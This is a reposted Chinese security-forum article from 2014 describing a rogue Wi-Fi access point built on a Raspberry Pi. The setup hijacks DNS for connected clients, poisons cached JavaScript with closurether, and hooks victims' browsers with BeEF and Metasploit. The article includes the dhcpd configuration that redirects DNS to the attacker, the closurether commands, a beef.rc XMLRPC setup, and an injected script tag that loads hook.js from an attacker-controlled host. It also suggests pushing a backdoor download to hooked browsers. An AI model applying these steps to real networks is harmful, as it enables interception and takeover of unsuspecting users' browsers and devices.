搜索

[8270] 2014-09-14_JS投毒的另一种尝试

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-17
2014-09-14_JS投毒的另一种尝试 J S 投 毒 的 另 一 种 尝 试 戒 贤   F r e e B u f   2 0 1 4 - 0 9 - 1 4 半 个 月 前 看 了 ​ ​ ​ E t h e r D r e a m 写 的 那 篇 w i f i 流 量 劫 持 和 J S 投 毒 ， 随 手 就 在 公 司 实 验 室 里 折 腾 了 一 下 ， 头 一 次 接 触 这 个 领 域 ， 感 觉 挺 新 鲜 的 。 然 后 又 看 到 s h 4 d o w @ l c x . c c 写 了 一 篇 《 内 网 D N S 投 毒 技 术 劫 持 会 话 》 ， 我 决 定 把 我 做 的 东 西 也 分 享 一 下 。 0 × 0 1   攻 击 思 路 攻 击 思 路 1 、 用 树 莓 派 建 立 一 个 A P ， 诱 使 别 人 过 来 连 接 2 、 在 树 莓 派 里 ， 设 定 D N S ， 指 向 一 台 代 理 主 机 ( 其 实 就 是 中 间 人 ) 3 、 在 代 理 主 机 上 运 行 c l o s u r e t h e r ， 进 行 J S 投 毒 4 、 投 毒 可 以 有 很 多 种 ， c l o s u r e t h e r 的 原 作 者 是 设 计 了 一 个 可 以 截 获 用 户 的 登 陆 时 候 输 入 的 用 户 名 和 密 码 ， 但 是 那 个 链 接 已 经 失 效 了 ， 自 己 又 不 会 写 j s ， 所 以 就 改 用 别 的 思 路 。 这 里 我 选 择 了 B e E F 框 架 进 行 配 合 ， 在 流 量 中 插 入 h o o k . j s 5 、 既 然 B e E F 可 以 配 合 M S F 来 攻 击 浏 览 器 ， 那 这 里 自 然 也 少 不 了 M S F 的 戏 份 0 × 0 2   工 具 准 备 工 具 准 备 E D U P   迷 你 U S B 无 线 网 卡   免 驱 动   ( R T L 8 1 8 8 C U S ) R a s p b e r r y   P i ， 系 统 镜 像 是 R a s p b i a n 团 队 的 S u m m e r 建 议 我 用 T P - L i n k   T L - W R 7 0 3 N   刷 一 个 o p e n W R T ， 便 携 而 且 还 可 以 实 现 很 多 其 他 的 功 能 。 这 个 想 法 还 没 有 去 尝 试 ， o p e n W R T 刷 进 路 由 以 后 ， 路 由 就 没 有 任 何 空 间 来 安 装 其 他 的 东 西 了 。 0 × 0 3   改 造 树 莓 派 改 造 树 莓 派 首 先 让 树 莓 派 运 行 起 来 ， 玩 过 的 人 都 知 道 怎 么 弄 ， 下 载 镜 像 ， 写 入 镜 像 ， 不 做 赘 述 。 其 次 是 让 树 莓 派 作 为 一 个 路 由 器 运 行 起 来 详 细 的 可 以 看 这 里 ： h t t p : / / w w w . d a v e c o n r o y . c o m / u s i n g - y o u r - r a s p b e r r y - p i - a s - a - w i r e l e s s - r o u t e r - a n d - w e b - s e r v e r / 这 是 使 用 树 莓 派 建 立 无 线 A P 的 最 早 一 篇 文 章 。 这 里 讲 的 非 常 详 细 ， 包 括 原 理 和 具 体 配 置 都 列 举 出 来 了 ， 照 着 一 步 步 坐 下 来 ， 不 会 出 太 大 意 外 。 这 里 伪 造 的 w i f i 是 我 以 前 学 调 酒 的 那 间 酒 吧 用 的 ， 我 师 父 是 L a v a z z a 的 顶 级 咖 啡 师 。 不 过 那 家 酒 吧 关 门 了 … … 在 南 京 的 童 鞋 如 果 有 兴 趣 ， 还 是 有 地 方 可 以 让 我 调 酒 的 。 0 × 0 4 建 立 中 间 人 建 立 中 间 人
在 J S 缓 存 投 毒 的 文 章 中 ， 作 者 给 了 非 常 详 细 的 原 理 解 释 ， 并 给 出 了 实 现 代 码 。 我 测 试 的 平 台 是 M a c   O S   X   1 0 . 0 （ 黑 苹 果 ） ， 安 装 简 易 ， 没 有 发 生 任 何 状 况 。 首 先 需 要 安 装 n o d e . j s 然 后 安 装 c l o s u r e t h e r n p m   i n s t a l l   - g   c l o s u r e t h e r 运 行 c l o s u r e t h e r c l o s u r e t h e r c l o s u r e t h e r 运 行 成 功 的 话 ， 就 会 看 到 下 面 的 信 息 ( l i n u x 下 运 行 c l o s u r e t h e r 需 要 的 权 限 比 较 高 ， w i n d o w s 不 能 开 启 其 他 占 用 8 0 、 4 4 3 端 口 的 服 务 ) s u d o   c l o s u r e t h e r   P a s s w o r d :   [ S Y S ]   l o c a l   i p :   1 7 2 . 1 6 . 6 . 3 7   [ D N S ]   r u n n i n g   0 . 0 . 0 . 0 : 5 3   [ W E B ]   l i s t e n i n g   0 . 0 . 0 . 0 : 8 0   [ W E B ]   l i s t e n i n g   0 . 0 . 0 . 0 : 4 4 3 这 个 时 候 如 果 设 置 浏 览 器 的 代 理 指 向 1 2 7 . 0 . 0 . 1 : 8 0 就 可 以 看 到 c l o s u r e t h e r 劫 持 的 所 有 流 量 ， 包 括 D N S 解 析 和 h t t p 请 求 如 果 你 这 么 做 了 ， 不 妨 在 浏 览 器 中 查 看 源 码 ， 你 会 看 到 源 码 中 已 经 被 植 入 了 一 个 s c r i p t 标 签 ， 这 个 就 是 被 c l o s u r e t h e r 植 入 的 攻 击 代 码 。 为 了 伪 装 ， 把 地 址 写 成 了 h t t p : / / 1 0 0 8 6 . c n / j s 1 0 0 8 6 / 2 0 1 3 0 6 3 0 1 2 0 0 . j s 但 实 际 上 ， 1 0 0 8 6 . c n 上 可 不 会 有 这 么 个 文 件 … . 好 一 手 栽 赃 嫁 祸 ， 我 是 伪 装 成 了 g o o g l e - a n a l y t i s 的 站 点 分 析 脚 本 使 用 的 攻 击 脚 本 和 伪 装 都 可 以 在 c o n f i g . j s o n 文 件 中 修 改 0 × 0 5 修 改 修 改 D N S 依 然 已 经 准 备 了 代 理 ( 中 间 人 ) ， 那 么 就 需 要 让 流 量 指 向 代 理 ， 前 面 说 设 置 浏 览 器 代 理 可 以 实 现 ， 但 最 理 想 的 还 是 作 者 提 供 的 修 改 D N S 修 改 D N S ， 指 向 代 理 服 务 器 ， 那 么 所 有 使 用 这 个 w i f i 上 网 的 人 解 析 域 名 就 都 解 析 到 了 代 理 服 务 器 ， D N S 解 析 之 后 ， 再 把 h t t p 流 量 也 指 向 代 理 服 务 器 ， 就 顺 理 成 章 的 使 c l o s u r e t h e r 成 为 了 中 间 人 在 树 莓 派 的 D H C P 中 设 置 ： s u b n e t   1 9 2 . 1 6 8 . 1 . 0   n e t m a s k   2 5 5 . 2 5 5 . 2 5 5 . 0   {     r a n g e   1 9 2 . 1 6 8 . 1 . 1   1 9 2 . 1 6 8 . 1 . 2 5 4 ;     o p t i o n   r o u t e r s   1 9 2 . 1 6 8 . 1 . 1 ;     o p t i o n   d o m a i n - n a m e - s e r v e r s   1 7 2 . 1 6 . 6 . 3 7 ;     i n t e r f a c e   w l a n 0 ; } 1 7 2 . 1 6 . 6 . 3 7 也 就 是 我 本 机 那 么 这 个 时 候 ， 连 接 到 这 个 w i f i 的 设 备 进 行 D N S 解 析 的 时 候 ， 得 到 的 结 果 都 是 1 7 2 . 1 6 . 6 . 3 7
然 后 ， 其 他 的 请 求 也 就 都 指 向 了 代 理 。 P S : c l o s u r e t h e r 作 者 考 虑 的 很 周 到 ， j s 投 毒 只 能 针 对 h t t p 或 h t t p s 协 议 ， 如 果 是 其 他 的 协 议 ， 那 么 在 第 二 次 请 求 的 时 候 就 把 真 实 的 D N S 请 求 结 果 反 馈 给 客 户 端 ， 这 样 就 不 会 那 么 容 易 被 发 现 了 。 0 X 0 6   B e E F 和 和 M S F 别 人 的 文 章 里 比 我 写 的 要 清 楚 ， 就 不 多 说 了 但 是 目 前 关 于 B e E F 使 用 的 文 章 还 比 较 少 ， 还 在 陆 续 的 挖 掘 其 中 的 功 能 。 主 要 是 需 要 建 立 B e E F 和 M S F 的 协 作 使 用 m s f c o n s o l e   - r   b e e f . r c 来 建 立 一 个 M S F 的 X M L R P C 服 务 ， 然 后 B e E F 启 动 以 后 会 自 动 调 用 b e e f . r c 的 内 容 如 下 ： l o a d   x m l r p c   S e r v e r H o s t = < 服 务 器 I P >   P a s s = < 密 码 >   S e r v e r T y p e = W e b 0 × 0 7   把 毒 药 撒 向 天 空 ， 让 它 随 风 飘 扬 把 毒 药 撒 向 天 空 ， 让 它 随 风 飘 扬 ( 此 处 应 有 反 派 出 场 的 音 乐 ) c l o s u r e t h e r 中 做 如 下 修 改 ： 修 改 a s s e t / i n j e c t / e x t e r n . j s ， 在 f u n c t i o n 中 增 加 ：
v a r   c o m m a n d M o d u l e S t r   =   ' < s c r i p t   s r c = " h t t p : / / 1 7 2 . 1 6 . 6 . 3 7 : 3 0 0 0 / h o o k . j s "   t y p e = " t e x t / j a v a s c r i p t " > / /   < ! [ C D A T A [ < / s c r i p t > ' ; d o c u m e n t . w r i t e ( c o m m a n d M o d u l e S t r ) ; h t t p : / / 1 7 2 . 1 6 . 6 . 3 7 : 3 0 0 0 / h o o k . j s 是 B e E F 的 X S S 脚 本 ， 理 论 上 ， 这 个 脚 本 可 以 放 在 任 何 地 方 ， 也 可 以 被 c l o s u r e t h e r 直 接 向 流 量 中 注 入 ， 还 是 因 为 不 懂 j s ， 没 有 做 过 多 的 尝 试 。 然 后 ， 就 等 鱼 上 钩 了 然 后 ， 就 等 鱼 上 钩 了 接 下 来 就 是 如 何 利 用 B e E F 和 M S F 去 攻 击 浏 览 器 的 内 容 了 。 按 照 c l o s u r e t h e r 作 者 的 思 路 ， 被 投 进 去 的 j s 脚 本 会 长 期 保 存 在 用 户 的 电 脑 里 ， 时 间 又 长 有 短 。 可 能 在 未 来 的 某 一 天 ， 一 台 设 备 就 突 然 上 线 了 。 貌 似 用 B e E F 控 制 用 户 的 浏 览 器 去 下 载 一 个 后 门 文 件 ， 也 是 可 以 的 。 0 × 0 8 小 结 小 结 1 、 都 是 前 人 的 东 西 ， 只 不 过 组 合 了 一 下 而 已 ， 没 有 任 何 穿 创 新 ， 比 较 水 。 2 、 h o o k . j s 对 手 机 浏 览 器 没 有 任 何 效 果 3 、 M S F 的 漏 洞 库 比 较 并 没 有 想 象 中 那 么 强 大 ， 想 要 一 举 拿 下 被 投 毒 的 电 脑 ， 没 有 几 个 0 d a y 估 计 是 搞 不 定 的 4 、 忽 然 对 3 6 0 清 空 浏 览 器 缓 存 的 功 能 感 到 很 纠 结 … … 5 、 用 树 莓 派 来 实 现 这 个 功 能 ， 只 是 为 了 工 作 需 要 ， 经 常 出 去 做 一 些 演 讲 ， 用 这 套 设 备 效 果 会 很 好 。 实 战 中 可 能 的 问 题 就 是 ， 树 莓 派 和 中 间 人 服 务 器 ， 必 须 有 一 个 能 连 接 互 联 网 。 6 、 树 莓 派 上 安 装 c l o s u r e t h e r 也 有 些 问 题 ， 还 没 做 深 入 研 究 。 注 ： 原 文 在 我 们 团 队 主 页 上 发 表 过 ， 这 里 是 重 新 编 辑 了 一 下 。 附 上 一 杯 鸡 尾 酒 ， 敬 附 上 一 杯 鸡 尾 酒 ， 敬 F r e e B u f
参 考 资 料 参 考 资 料 把 树 莓 派 改 造 成 无 线 路 由 器 h t t p : / / w w w . d a v e c o n r o y . c o m / u s i n g - y o u r - r a s p b e r r y - p i - a s - a - w i r e l e s s - r o u t e r - a n d - w e b - s e r v e r J S 脚 本 缓 存 投 毒 h t t p : / / w w w . c n b l o g s . c o m / i n d e x - h t m l / p / w i f i _ h i j a c k _ 3 . h t m l B e E F 框 架 搭 建 和 使 用
h t t p : / / b l o g . c s d n . n e t / e m a s t e _ r / a r t i c l e / d e t a i l s / 1 7 0 9 1 0 6 7 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理